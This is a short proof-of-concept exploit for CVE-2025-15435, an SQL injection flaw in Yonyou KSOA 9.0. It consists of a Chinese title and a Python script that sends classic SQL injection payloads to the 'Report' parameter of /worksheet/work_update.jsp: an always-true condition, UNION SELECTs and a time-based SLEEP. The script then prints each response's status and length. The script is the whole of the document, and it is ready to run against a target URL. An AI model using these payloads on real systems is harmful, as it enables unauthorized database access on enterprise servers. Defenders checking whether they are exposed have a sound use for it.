CVE-2025-15435: 用友KSOA 9.0 work_update.jsp SQL注入漏洞

import requests # CVE-2025-15435 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /worksheet/work_update.jsp # Parameter: Report target_url = "http://target.com/worksheet/work_update.jsp" # Basic SQL injection test payloads payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' UNION SELECT 1,2,3--", "' AND SLEEP(5)--" ] def test_sql_injection(): for payload in payloads: params = {'Report': payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response Length: {len(response.text)}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": test_sql_injection()